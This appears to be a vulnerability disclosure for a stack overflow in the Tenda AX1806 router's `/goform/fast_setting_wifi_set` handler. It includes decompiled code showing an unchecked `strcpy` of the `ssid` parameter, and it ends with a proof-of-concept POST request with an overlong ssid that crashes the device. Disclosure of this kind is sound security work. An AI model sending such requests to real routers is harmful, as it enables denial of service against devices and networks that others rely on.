

main IoT-CVE / Tenda / AX1806 / 3 /



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Affect device: Tenda Router AX1806 v1.0.0.1(<https://www.tenda.com.cn/download/detail-3306.html>)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/fast_setting_wifi_set` page which influences the latest version of Tenda Router AX1806 v1.0.0.1:

<https://www.tenda.com.cn/download/detail-3306.html>

There is a stack overflow vulnerability in the `form_fast_setting_wifi_set` function.

The `v3` variable is obtained directly from the http request parameter `ssid`.

```
v5 = v3 .
```

Then this function uses `cmsUtil_strcpy` to copy the **variable v5 to the stack variable v34** without any security check.

```

46 v29[1] = 0;
47 memset(v34, 0, sizeof(v34));
48 memset(v36, 0, sizeof(v36));
49 v36[128] = 256;
50 memset(v35, 0, sizeof(v35));
51 v26 = 0;
52 v3 = webgetvar(a1, (int)"ssid", (int)&byte_1C2CF0);
53 if ( !*v3 )
54 {
55     printf("%s [%d] no ssid set, just return.\n", "form_fast_setting_wifi_set", 885);
56     return sub_2A714(a1, "login.html");
57 }
58 v5 = v3;
59 snprintf(s, 0x40u, "%s", v3);
60 set_idx_to_mib("wlan0.0", "bss_ssid", s, v36);
61 snprintf(v32, 0x40u, "%s-wifi5", v5);
62 SetValue("ssid_wifi5", v32);
63 GetValue("bsd_enable", v29);
64 if ( atoi((const char *)v29) == 1 )
65 {
66     snprintf(v31, 0x40u, "%s", v5);
67 }
68 else
69 {
70     cmsUtl_strcpy((int)v34, (int)v5);
71     while ( 1 )
72     {
73         v6 = (_BYTE *)cmsUtl_strcasestr(v34, "2.4G");
74         if ( !v6 )

```

Let's look at the `cmsUtl_strcpy` function. It only checks the null pointer case, and directly calls the `strcpy` function without checking the length of the copied string, which causes a **stack overflow**.

```

1 char *__fastcall cmsUtl_strcpy(char *a1, const char *a2)
2 {
3     char *result; // r0
4
5     if ( a1 )
6     {
7         if ( !a2 )
8             a2 = "";
9         result = strcpy(a1, a2);
10    }
11    else
12    {
13        j_log_log(3, "cmsUtl_strcpy", 1229, "dest is NULL!");
14        result = 0;
15    }
16    return result;
17 }

```

So by POSTing the page `/goform/fast_setting_wifi_set` with long `ssid`, the attacker can easily cause a **Deny of Service(DoS)**.

POC

poc to DoS:

```
POST /goform/fast_setting_wifi_set HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4012.101 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 4374
```

```
ssid=ChinaNet-Q5rbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

